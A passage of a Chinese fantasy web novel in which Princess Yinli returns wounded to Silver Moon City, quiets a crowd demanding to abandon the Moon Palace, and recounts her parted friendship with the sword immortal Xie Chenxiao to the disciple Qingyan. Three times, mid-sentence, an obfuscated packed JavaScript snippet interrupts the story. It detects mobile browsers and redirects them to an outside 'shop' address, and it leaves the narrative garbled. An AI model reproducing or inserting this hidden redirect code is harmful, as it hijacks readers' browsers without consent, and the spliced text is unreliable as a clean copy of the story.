几人急急就要离开,银梨却猛地发现不对劲。 她问:“谢沉霄呢?” 18.第十八章 “……谢仙君?” 听到银梨在这时提起谢沉霄,君竹十分困惑。 “谢仙君怎么会在此?” 银梨震惊地反问:“……他一直不在吗?” 仔细想来,银梨苏醒以后,就只见过君竹磬言、小女孩和穿山甲。 没有谢沉霄。 谢沉霄本以为是因为谢沉霄是成年男子,且修为较高、受伤较轻,所以才单独安置在了别的屋子中。 但看君竹和磬言的反应,他们竟是打从一开始,就没有在这个林子中见到谢沉霄! 银梨道:“我在‘鬼君’体内见到了他,他似乎也是被抓获的。我昏迷之前,将谢沉霄和其他人一同推出了鬼君的身躯,他应该与另外两位是在一块儿的才是。” 君竹和磬言对视一眼,皆是满脸茫然。 君竹说:“……公主,我与磬言赶到时,只看到您和这两位幸存者,并未看到谢仙君。” 磬言同道:“是啊,没有别人。” ……难道是谢沉霄先一步醒了,为找救援,就去了别处? 谢沉霄修为高强,且被那个“鬼君”捕获的时间应该不久,确实受伤最轻。 但若是如此,他为什么没有先找到神女像,也没有和君竹、磬言会合? 银梨十分不安。 没想到在雾散的档口,会出这样的变故。 要去找谢沉霄吗?可万一找不到,鬼瘴又聚起来,导致其他人错过时机,再次被困丧命怎么办? 银梨左右为难。 时间紧迫,由不得她犹豫,必须下决断。 谢沉霄是当今第一剑修,银梨信任他,确定他在这种情形下,能做出最恰当的判断,而不是苦等着被人营救。 银梨道:“出去以后,先通知林子外的弟子留在此地接应谢仙君!我们三人以最快的速度,即刻返回银月城!” * “公主!” “是公主!” “太好了,公主平安回来了!” “快去通知青霜少君!” 银月城的情况果然很不安定,银梨尚未进城,只是遥遥现身,便已能看到城墙上有人骚动。 ——又要进城了。 银梨伤势不轻,比之上回离开月东林邪鬼的情况,她伤得更重、已尽力竭,实则十分虚弱,在树林中调查时已是硬撑。 然而,在出现在众人视线范围内的瞬间,她便恢复了自己的身份。 在与荒林外等候的月宫弟子会合后,银梨便换了身体面的衣裳。 她的躯体好像早已形成习惯,即使再疼痛疲倦,她仍一下子挺起了脊背,目视前方,云淡风轻,身后的九条狐尾像羽扇一般撑开,华美而从容。 如此姿态,象征着她与众人不同的身份实力,象征着她是月神的妹妹、高高在上的狐族神女。 从外表上,没有丝毫的破绽。 银梨垂眸望向凡间,维持自己在外人眼中的形象,她几乎已经麻木了。 但这一回,忽然地,她感到一个力道从身侧撑住了她,不着痕迹地分摊了许多身体的重量。 银梨微微偏过头去,便看见磬言不知何时靠近了她两三步。 他是银梨身边常伴的弟子,离得这么近并不突兀,但他的身体却结结实实地在看不见的地方撑住了银梨的力道。 外表如此青涩,竟意想不到的体贴和可靠。 银梨感激地轻瞥他一眼,面上却不动声色。 三人越过高墙,进入银月城的领域之中。 ——银月城并不安宁。 银梨何等熟悉这里,银月城的异样,绝逃不过她的眼睛。 越是靠近中心,越能感觉到城池内的诡异。 银月城的屏障似乎减弱了很多,但即使如此,银月城也没有加强人力的守备。 城墙外本该是士兵百步排一人,月宫弟子千步排一人,银梨不在城中,理应是更需要防御的时候,可银梨目之所及,驻守的兵力竟远低于标准,空寂的城墙边,只稀稀拉拉地驻扎着几人。 银梨一现身,城墙上下的士兵便一同将目光凝聚在银梨身上。 他们的眼神似乎有一种筋疲力尽的癫狂,与其说是希望,不如说是在试图抓住绝望中的最后一根稻草,透着末日的死气。 银梨被这样的眼神注视得发毛。 三人回到银月城时刚过午时,本该是一天中最热闹的时候,可城中却一反常态,静得古怪。 本应繁华的集市一片死寂,铺面大多没有开张,街道两侧的房屋门窗紧闭,街上只有零星的几个行人,也是是神情不定、行色匆匆。 宛如一座荒城。 银梨心中有了不好的预感,拧起眉心,不动声色地加速,尽快往月宫赶去。 等月宫外的光景进入视线,银梨便知道不对。 人,大量的人。 小灵山外人群簇挤,全城的人仿佛都聚在了这里。 月宫被里三层外三层地团团围住,密不透风。 入口位置更是挤得密密麻麻,几乎已看不见小灵山的山门。 攒动的人头连远看都有窒息感,像聚拢在蚁穴外的蚂蚁。 青霜带着几个有仙籍的月宫弟子守在山门前,凡人进不了月宫,实则硬闯不进去,但这个情况不能不维持秩序,不然无疑会彻底动乱。 挤在小灵山外的,不仅有住在灵地中的普通居民,连一部分士兵和未成仙的月宫弟子都加入了其中。 银梨到的时候,正有一个额间绑着头巾的男子跳到大石头上,打断在好言相劝的青霜,高声道—— “青霜这个副城主说了这么多,无非是权宜之计,想先让我们离开,大家不要被骗了!” “我们一旦被瓦解,再聚起来会非常困难!” “银月城出事,他们这些已经成仙的随时都能躲回仙界、过无忧无虑的生活,当然不痛不痒,但我们呢?!” “连银梨公主都不见踪影,银月城恐怕早就不安全了!” “月宫说要保护我们,但究竟能保护到什么程度?又能保护到几时?说太阴星还有残力,但究竟能撑到哪一天?” “要是连月宫都能被鬼怪入侵,那我们拼死拼活地守城,究竟有什么意义!” 头巾男瞠目欲裂,苍白的巩膜血丝遍布。 从周身的灵气判断,他应该是三十多岁不到四十的月宫弟子,修炼过,但修为不佳,反而更适合修炼体术,可能当过士兵。 有修为的人理应更容易维持年轻的外表,但头巾男看起来却远比实际苍老,眼底青黑,眼神麻木,脸上堆满经年累月的疲倦,看得出精神早已到极限。 他说—— “我明白月宫是神女昔日的居所,肯定有很多信众哪怕只是为了月宫,也要死守银月城。但我们只想明哲保身,放弃一座早已没有神女的空宫,早点搬去更安全的地方,又有什么不对?” “望月城的城主谢沉霄是当世第一剑仙,望月城军纪森严、武力强盛;天水城别有洞天,又有金琼元君与云舒神君这对姐弟坐镇;守天城就在贯通仙神界的天河之外,离仙界的入口极近……若是银梨公主消失,银月城连城主都没有了,哪里不比这里安全?!” “还不如趁着鬼怪还没有意识到银月城的虚弱,尚未攻击城防,早点离开!再迟,就真的走不了了!” 头巾男话到此处,便有人纷纷附和—— “我们要求分割银月城三分之二的财产、秘籍和法器!现在想要离开银月城的人,远比想要守城的人多!银月城是所有人一同建起来的,我们理应拿到属于我们的部分!” “与其坐以待毙,还不如将月宫的神器也都拿出来,供大家各寻出路!” “银月城危在旦夕,吾等离去,也是为了保存月宫的力量。银梨公主不在,银月城战力大减,若是执意守城,等全城覆灭,连月宫和太阴星都落入永夜的异类手中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17030485|194197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,便真的来不及了!” “这样执着于一个没有神女的月宫,真的有意义吗?!说实话,我早就不期待什么驱逐黑夜、光复凡境的梦想了,如今不过想尽可能平安地度过残生,难道就连这点希望都不能争取吗?!” 在场的人并非都是同样的想法,但有一方发难,其他人怕被抢了先机,便都按捺不住躁动起来—— “这些年来,我们谁不是一直在为月宫拼命?可结果呢!死的人越来越多,灵地却越来越少!到头来,这些努力究竟有什么意义!还不如干脆放弃,轻轻松松地找个地方享乐几日听天由命,没准还能活得痛快些!” “银梨公主怎么可能在月宫失踪!她必定是放弃银月城,自己回仙界去了!我们继续守在这里,也不过是等死而已!” “既然在外面,神女像可以提供庇护,那月宫作为神女昔日的居所,里面的一草一木、一砖一瓦,是不是可能都有同样的作用?如果将它们拿出来让我们带上,是不是路上就可以安全了?!” “你们怎敢质疑神女、背叛月宫?!你们究竟是不是信徒,神女赐月的恩情,就这样被你们这些忘恩负义之徒抛诸脑后?你们该不会是外面混进来的异物,专门来扰乱人心的吧?!” “少君,不是我们不愿意离开,但你看他们这些人都是这种架势,要是真的拆分月宫,让他们先抢光了月宫的财产和神器仙器,我们剩下的人怎么办?我们也想保命啊!不能因为我们老实听话,就让我们等死啊!” “对!要是其他人不走,我们也不走!” “少君身为仙躯神骨,自不必在意我们这些蝼蚁死活,但我们肉体凡胎,不过一条性命,不得不为自己考虑!” “银梨公主在月宫中失踪,会不会现在凡人已经可以进入月宫了?虽然月宫可能也不够安全,但肯定比别的地方好吧?” “少君!放我们进月宫!放我们进月宫!” 场面乱成一团。 诚然青霜他们修为更高,一挥手就能驱赶所有人,但青霜他们不可能真对城中的凡人动手。 武力镇压只会加剧混乱,加重众人的恐惧情绪,甚至滋生人们对月宫的不信任,没有任何作用。 然而众人想法不一,都难以冷静。 乱世之下,其实未必真有万无一失的方案。 就算天下的所有生灵众志成城、齐心协力,也未必就能阻止永夜。 有志者事竟成、人定胜天,这不过就是一种自我勉励的美好愿景。 事实是,这世上多的是人力所不能及之事。 在大势天洪之下,有时再拼命的反抗,也不过是蚍蜉撼树,可笑的垂死挣扎罢了。 最后赢了也就算了,如果输了,过程中付出的努力和牺牲,都将毫无意义。所以归根结底,每种想法,或许并无对错可言。 但局面越是凶险,各方感受到的压力越大,人的意志会被逐渐削弱,每个人都会想出不同的方式来试图改变自己的处境,但人与人的想法立场各不相同,意见难以统一,自然矛盾越来越多,甚至会沦落到互相攻讦的地步。 到了这个地步,人心已经一击即溃,甚至不需外部施压,自己就会四分五裂。 小灵山前,人群不受控制地向前拥着、推搡着,夹杂着对彼此的指责。 这样下去,即使没有鬼怪,都有人要被挤死、踩死。 就是在这一刻,银梨毫不犹豫地在众人面前现身。 她精疲力竭,身上伤口遍布,许多伤处都被外面的阴邪之气侵蚀到了溃烂的边缘,仙力更是近乎耗竭。 但她在人前出现时,所有异样都像消失了。 凌波微步,仙姿神容,九条白尾犹如盛放的白色火焰,外表不过十七八岁的少女,却有一种令人无法违抗的气势。 银梨居高临下,看不出丝毫疲态,唯有运筹帷幄、胸有成竹的平静淡然。 她问:“月宫重地如此吵闹,是在争什么?” 19.第十九章 银梨的声音出现,世间为之一静。 她说话的力道其实不重,甚至称得上轻描淡写,但甫一出声,无人能不注意。 山门外的众人方才还争得面红耳赤,这会儿都像被定住似的安静下来。 最先回过神来的是青霜。 他一见到银梨,明显松了口气。 “太好了,你没事。” 青霜温柔的眸子深情地望过来,轻舒一声。 慢慢地,许多人也回过神来,眼底又重新充盈起希望之光。 “公主!” “是银梨公主!” “公主平安回来了!” 在众人希冀的目光中,银梨挺直了后背,从袖中取出那支缠有神发的发簪,当众举起。 这曾经是真正的神物,其他人纵然不能像银梨那样一眼就看出它的来路,但光凭它残留的气息和渗人的感觉,也能马上觉出此物不同寻常。 好诡异的邪气,只遥遥瞥见都让人胆寒,似乎连仙神都能被其压制。 有好几个有仙籍的月宫弟子都不由自主地瑟缩了一下,就连青霜都面色发白。 如此悚然之物,是要从怎样的邪怪身上才能得到? 然而,此刻,这样一件邪物,被银梨两指一并,漫不经心地拿捏在手中。 银梨好像也懒得多解释,只简单说道:“在银月城与天水城之间的荒林地下,曾盘踞了一个可以操纵其他邪物的庞大鬼怪。 “但现在,它已经死了。 “这,便是它的真身。” 银梨言简意赅,就像这不是一件需要多少细节来交代的事。 言罢,她将簪子又收起来,道:“目前我还有一些情况需要调查解决,大家不必担心,很快一切都将回归正常。” 银梨没有再关注众人的反应,她平静地向月宫走去。 无需多言,她步伐一动,人群便自动给她让出通路。 短暂的静默后,人群沸腾! “我就知道公主不会有事的!” “公主一定是为了不打草惊蛇,独自出城调查,这才没人知道消息!” 银梨透露出的信息实则很少,但众人开始自发为她补齐—— “不愧是公主,为了不牵扯旁人,以一人之力解决了鬼怪,还能及时归来!” “那个簪子看起来不一般,难以想象是怎么样的鬼物……” “不会能与鬼君相媲美吧?” “难不成,公主独自一人杀了鬼君?!” 凡人们的氛围肉眼可见地好转起来。 希望之火再次在人眼中亮起,欢呼声压过了质疑—— “公主!公主!” “公主万岁!” “天佑公主!福泽天下!” …… 银梨没有理会身后的奉承与赞美,缓步消失在山门之后。 待所有人都在视野中消失,她才长长松了口气,方一泄力,君竹和磬言便一人一边眼疾手快地搀住她。 银梨摆摆手表示自己没事。 有时候,她自己都会对自己积累的威望感到害怕。 太多人将希望寄托在她身上,于是他们自然而然也成了她的责任。 ……姐姐,这样的处境,和你过去相像吗? 银梨回过头,意味深长地看了一眼人群所在的方向。 欢呼声犹在耳畔。 银梨看得到人们态度的变化。 今日她平安回来了,满足了众人的期望,所以她又成为了无所不能的天神。 凡人供奉她、信仰她,托举她登上至高神台,用世上一切美好的词汇来妆点她,极尽所能地崇拜她、赞美她。 但如果她失败了,银梨毫不怀疑自己在他们口中,会成为抛弃众生、应该被千刀万剐的罪人。 银梨究竟是一个什么样的人、有多少能力,恐怕已经没有人能说得清了。 凡人会根据自己所处的立场和想要的结果,自行将她想象成自己需要的样子。 他们会给自己造神,也会给自己炼魔。 银梨深吸一口气,坐下来歇息了一会儿。 然后,她看向磬言与君竹两人。 她道:“君竹,磬言,此番你们劳心劳力,从荒林中救了我,我无论如何都应当感谢你们才是,若不犒劳你们些什么,便像不懂知恩图报的道理了。 “说吧,你们有什么想要的?只要我拿得出,便可以给你们。” 磬言与君竹对视一眼。 君竹先道:“为公主效力,本就是吾等分内之事。若是没有公主,银月城终将落入永夜,我们又如何能不拼尽全力保护公主呢?我们去救公主,本就是为了救我们自己罢了,若再向公主索要回报,倒显得是我们贪心。” 磬言也说:“我与君竹师姐想得一样。” 银梨坚持:“不行,这回你们若不说出点什么来,我便不放你们走了。” 二人哭笑不得,但银梨也很强硬。 拉扯半晌未果,君竹终于松口。 她眼神闪烁几下,期期艾艾地道:“其实,我有个朋友住在宝月城,已许久未见。我前阵子接到她的信,得知她染疾未愈,我实则有些担心,想去探望,只是银月城事务繁忙,一直无法脱身。 “若是公主同意的话,我想休假去一趟宝月城,不必很久,应当最多五日即可。” 君竹这实在是个很小的愿望,以她的资历和平日的勤苦,休息五日实在无可指摘。只是她责任感实在太重,这才告假也犹豫再三。 银梨毫不犹豫地给她准了假。 君竹眉间一松,便迅速回屋收拾行李去了。 君竹走后,银梨又看向磬言,问:“磬言,你呢?可有什么想要的?” 按照君竹的说法,磬言此次劳苦功高,比君竹做得更多。 银梨也记得他背自己离开时的景象,心怀感激。 磬言眸间温和,如有春风,说:“我不需要,能帮到公主,已经是我的奖励。” 银梨迟疑:“……你真的什么都不要?” “那当真要什么,公主都会给吗?” 磬言一动不动地凝视着银梨,浅笑着等她的回答,耐心之至。 银梨一滞。 磬言的目光令她感到难以招架,不禁躲闪开来。 银梨打了个太极,道:“你如果想要太阴星,我肯定不会给你的。” 磬言笑了:“我对太阴星没兴趣。” 思索片刻,忽然,他说:“不过,如果公主真的想奖赏我什么,或许有一件事,我希望公主能满足我。” “什么?” 磬言没有立即说出要求,反而问:“公主,喜欢剑术好的人吗?” “……?” 银梨没有跟上磬言的想法,一顿,只当是个寻常问题,作答:“你如果是问我喜欢什么武器的话,那的确应该是最喜欢剑吧。” 剑是百兵之君。 世间习剑之人,本就最多。 不过,最重要的是—— 姐姐当年,是用剑的。 在和平的年代,姐姐真正出剑的时刻并不多,但被问及这个问题,银梨脑海中第一时间便浮现出姐姐教她和青霜舞剑的样子。 姐姐的剑法轻快机敏,如同夜湖水波里跃动的月光。 她的剑法十分高超,底蕴深厚,绝不逊于世间任何人,却奇妙的,没有一点杀戮之气。 那剑术就像她这个人,轻盈跳脱,随兴所至。 正因如此,银梨一度以为姐姐这套剑法不是以武斗杀敌为目的,是美感有余、杀伤力不强的类型。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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薄薄的眼睫在少年的眼底覆上一层浅浅的阴影。 磬言欲言又止的神态,落在银梨眼中,竟颇为落寞。 银梨的态度不自觉地柔和下来。 “当然,你也没有说错。” 她承认道。 “我与谢沉霄,的确曾是很好的朋友。要说他与其他人完全一样,并不尽然。” ……谢沉霄武艺超群,如今甚至有天下第一剑修之称,而且他受伤的情况应该比银梨轻些,先苏醒不是没有可能的。 理智来说,银梨知道就算谢沉霄一两天没有消息,她也不必过于担心。 但事实上,自从发现幸存者中没有谢沉霄,银梨心上一直拢着一重阴霾,不安挥之不去。 定了定心神,银梨才继续说:“不过,那早已是过去的事了。我与他有许多不同的地方,后来会分道扬镳,再所难免。” 磬言回忆道:“的确,公主上回与谢仙君见面,尽管你们之间的氛围不同于旁人,但并不算很亲密,反而有些疏远。” 银梨苦笑:“你连这些也注意到了?” 磬言莞尔:“我一直将公主的一举一动都印在眼中,公主的情绪,我自然不会错过。” 银梨道:“磬言,说了这么久,你还没告诉我你想要什么奖励,我是不是不小心扯远了?” “不,这就是我想要的奖赏。” 磬言眉目如春风化雨。 他问:“公主能将自己与谢仙君的过往告诉我吗?” “……?” 银梨不太理解:“这就是你想要的奖励?你只想知道这个?” “是。我想知道公主的事,想知道公主与谢仙君的过往,更想知道,谢仙君是犯了什么错,才会与公主疏远。” 磬言作出倾听的姿态,诚心诚意。 “公主,愿意告诉我吗?” “……” 银梨被磬言真挚的目光引住。 其实,也没有什么不好说的,在她内心深处,或许也有倾诉的愿望。 银梨道:“要说他做错什么,倒也不是。” 论起来,不过是道路不同罢了。 20.第二十章 望月国,观月台。 “银梨……你可不可以不要那么快离开?我希望你继续留些时日,留在……我身边。” 那天夜晚,沉默寡言的谢沉霄,一反常态,对银梨倾吐了一个仅仅是出于他私心的愿望。 对一个公事公办、一板一眼的人来说,提出这样的请求,是很罕见的。 更何况,他是在以凡人之躯,挽留一片明月身畔的辉光。 希望她留在凡间,留在皇宫中,留在他近处、触手可及的地方。 太多克制埋藏在心中,在能说出口的话里,这也已是一个艰难的吐露。 谢沉霄没有要求更多。 但他望她望得太深、太久,以至于银梨从他的眼神中,领悟到了一丝别的意味。 他们相识时都是孩童,而如今,谢沉霄已长大成人,银梨的成长却要慢得多,不过初显少女轮廓。 二人的差别日渐显著,现在还可算作年华相当,一旦分开,只怕步调愈发不同,终将为云泥之别,到时,连表面相称的短暂相聚,都成奢望。 银梨已经可以想象,她回到天上,像从前游山玩水、修炼嬉戏。 然后,偶尔哪一天想起年少时的这段经历,又来到人间。 那时,谢沉霄已是成为白发苍苍的垂暮之君,她却容颜如故,仍是昔日模样。 若是无法久长已是注定,那么只争朝夕,珍惜眼前的时光,未必不是妥善的选择。 选择权被放在银梨手中。 她审视自己的内心,坦诚而言,她对谢沉霄未必就没有些微超出寻常的好感,未必就没有多留几日的念头。 但在做出决定之前,银梨问了谢沉霄一个问题:“我先前留在凡间,是为了报答你的救命恩人,但如今你已取回君位,大业既成,我留下来,又是为了做什么呢?” 谢沉霄一时没答上来,想了很久,他说:“望月国百废待兴,还有许多事需要仙神的助力。 “若你留下来……帮我,帮这里的凡人,我会为你著书立庙、修筑神像。 “仙凡有别,我能为你做的,唯有俗事。 “所以,我会将你的功绩记入望月国的史册之中,为你铸造最精美的石像,至少在望月国,你的名字会与月神相伴,流传千古,永远成为举国供奉的神女。” 谢沉霄说得缓慢,亦很真诚。 但银梨听完,便摇了摇头:“这不是我想要的,更不是我想做的事。我在这里应做的,都已经做完了。姐姐说,我也到了年纪,可以去学习一些更新奇的术法了。 “若我继续留下来,便做不了真心想做之事,唯有陪你这一个原因罢了。” 银梨顿了顿。 她又说:“我们早已是朋友,我也留恋和你待在一起的时光,但你也知道,我并不多么稳重,不太能定的下心来。 “如果我留在凡间,你能抛下一国之君的责任,经常陪我游山玩水,或者远离俗世,去深山中修炼吗?” 谢沉霄没有回答。 对谢沉霄而言,最初修炼并非本愿,虽说这让他机缘巧合窥见了仙缘,并让他凭此夺回了君位,但这终究不是出自本心,既然他如今已回到正轨,那么当然也就不必再修什么仙了。 在他心中,治理天下才是首要之责。 他有意做一个勤政的君王,以江山兴盛为己任,依他的性格,自不可能随意抛下肩上的职责,去陪银梨玩乐,挥霍时间做那些在他看来并非正业之事。 银梨见他不言,心中便已清明。 她笑起来,道:“我不能继续留在这里了。我下凡已经很久,姐姐在想我,我该回月宫了。” 银梨正式与他道别,很快回到仙宫。 她继续修炼,释放天性,想当人就当人,想当狐狸就当狐狸,甚至还可以当小石头。 她在仙山上甩着尾巴翻滚嬉戏,如常与姐姐、青霜玩闹,不时寻山觅水,有时顽皮,有时又只是蹲在石头堆里望着天空不动,过着不知日月、无忧无虑的天上生活。 凡尘的往事,不久就被抛诸脑后。 凡间那区区十年的光阴,对寿数悠长的神女来说,不过是孩童时一时兴起的消遣,弹指一挥间,纵有些许留恋,须臾便可忘怀,不足挂齿。 那晚以后,她再也没有见过谢沉霄。 直到过了许多年,突然,仙界一个传闻甚嚣尘上,传入银梨耳中。 原来,竟有一位人间的帝王四处求仙问道,拜师元虚宫,展露不俗天资,最终剑破十万雷劫,立地飞升,得道成仙,成了一代剑修谢沉霄。 ………… …… 银梨将自己与谢沉霄之间的过往告知磬言,以满足磬言的心愿。 她很少主动谈起,但其实也不是什么不能让人知道的故事。 她奇道:“你真的只想知道这些吗?” 磬言颔首:“于我而言,意味良多。” 很久没有回忆这段过往了,银梨自己说起,亦恍然隔世。 银梨总结:“世上没有十全十美的事。 “我之所以会与谢沉霄相识,便是因为他是被冷落的储君,是因为他严于律己、克制守责,即 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17039182|194197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 使在那样的困境中,他仍日日清晨在月东林中练剑,不曾懈怠。若非如此,他便不能在那天凑巧破开迷途鬼阵,救出里面的我。 “只是这样的人,注定会将自己的职责放在第一位,不可能抛下江山社稷,来陪我做那些对他来说不惜光阴的事。 “凡事总有两面,便是如此。 “那时我尚且年少,玩乐心很重,不是能安定下来迁就他人的性子。 “他有他的路,我也有我的,或许不是完全无法互相妥协,但的确时机不对。” 世事有时并无对错可言。 时机对或不对,合适或不合适。 如此而已。 银梨在说的时候,磬言听得极为专注。 他若有所思:“原来如此。在公主看来,谢仙君本人并无不妥,只是时局立场不同,才导致无法同行。” 他垂眸,露出一丝了然,轻轻道:“如果是我,一开始便会选一个更好的身份立场,以便与公主长久相伴,定不会出现这种情况。” 银梨失笑:“身份立场本是天生而来,何谈选择呢?” 磬言浅浅笑着,并未解释,只应和着:“公主说的也是。” * 银梨浑身是伤,迫切需要治疗。 将银月城的事匆匆处理过,银梨立即就进了月宫的药池,在里面一连泡了数日。 君竹说要去宝月城探望朋友,实则根本放不下银月城的事,她的好友身体好似也并无大碍,于是她第三日就回来了。 银梨担心银月城危机刚过,还不稳定,便让君竹替她打探外面的消息。 谁知,外面一切如常,她听到最多的事情,反而是关于磬言—— 那日,君竹回来后,十分震惊地道:“公主,您知道磬言是怎么了吗?大家都说他从荒林回来以后,突然开始狂练剑术,废寝忘食,昼夜不息。” “……什么?” 银梨第一时间那日磬言问她的话。 但不等她反应过来,更重磅的消息还在后面—— 君竹说:“公主,你知道吗?磬言这小子,不显山不露水的,竟是个剑术方面的天才! “短短数日,他的剑术可谓突飞猛进,日进千里!一不留神,几乎就没有人能赶得上他了! “月宫中习剑的弟子因此纷纷找他比试,竟无人能胜过磬言。 “方才,我也过去看了。 “那一手剑简直出神入化,几下就将人制服,还未伤对方分毫! “隐约之间,简直有几分谢沉霄谢仙君当年的风范呢!”